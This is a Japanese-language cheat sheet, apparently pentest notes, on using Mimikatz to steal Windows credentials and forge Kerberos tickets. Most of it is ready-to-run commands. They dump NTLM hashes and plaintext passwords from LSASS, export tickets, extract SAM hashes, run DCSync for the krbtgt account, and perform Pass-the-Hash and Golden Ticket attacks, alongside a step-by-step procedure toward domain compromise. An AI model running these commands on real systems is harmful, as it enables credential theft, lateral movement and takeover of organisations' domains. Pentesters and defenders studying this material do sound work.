Mimikatz による資格情報の窃取とチケット偽造
概要
Mimikatz は、Windows 上の資格情報(NTLM ハッシュ、Kerberos チケット、環境によっては平文パスワード)を抜き取るための代表的なツール。多くの機能は LSASS(ローカルセキュリティ機関サブシステム)のメモリにアクセスする必要があるため、実行にはローカル管理者または SYSTEM 権限が前提になる。「権限さえあれば何でもできる」わけではなく、まず相応の権限を取得した後の仕上げの段階で使うツールという位置づけ。
主な機能は大きく 3 系統に分かれる。
- 資格情報の窃取(
sekurlsa::logonpasswordsなど、LSASS から抜く) - チケットのエクスポート(
sekurlsa::ticketsなど、Pass-the-Ticket 用) - 資格情報を使った認証・偽造(Pass-the-Hash、Golden Ticket など)
手順
- ローカル管理者または SYSTEM 権限を取得する(別の権限昇格手法の結果として)。
SeDebugPrivilegeを有効化し、SYSTEM トークンへ昇格する。- 目的に応じた機能(資格情報ダンプ、チケットエクスポート、DCSync など)を実行する。
- 得られた資格情報・チケットを使い、横展開やドメイン侵害の手法へつなげる。
コマンド
# 起動と前準備
privilege::debug # SeDebugPrivilege を有効化(まず叩く)
token::elevate # SYSTEM トークンへ昇格
# ---- 資格情報の窃取 ----
sekurlsa::logonpasswords
# → LSASS から、ログオン中ユーザーの NTLM ハッシュ・(環境次第で)平文パスワード・Kerberos チケットを抜く。Mimikatz の花形。
sekurlsa::tickets /export
# → メモリ上の Kerberos チケットを .kirbi で書き出す(Pass-the-Ticket 用)
lsadump::sam
# → ローカル SAM からローカルアカウントのハッシュを抽出
lsadump::dcsync /user:krbtgt
# → (ドメインで複製権限があれば)DCSync を Mimikatz 単体で実行。krbtgt 奪取 → Golden へ
# ---- チケット偽造・悪用 ----
sekurlsa::pth /user:administrator /domain:lab.local /ntlm:<hash> /run:cmd
# → Pass-the-Hash。ハッシュで新しいプロセスを起動
kerberos::golden /user:administrator /domain:lab.local /sid:<SID> /krbtgt:<hash> /ptt
# → Golden Ticket を生成してその場で読み込む
注意点
- Mimikatz を実行するには既にローカル管理者または SYSTEM 権限が必要であり、「Mimikatz で権限を取る」のではなく「取った権限を仕上げに使う」ツールだという位置づけを誤解しないこと。
- LSASS が保護されている環境(Credential Guard など)や EDR が入っている環境では、素の Mimikatz はそのままでは通らないことが多い。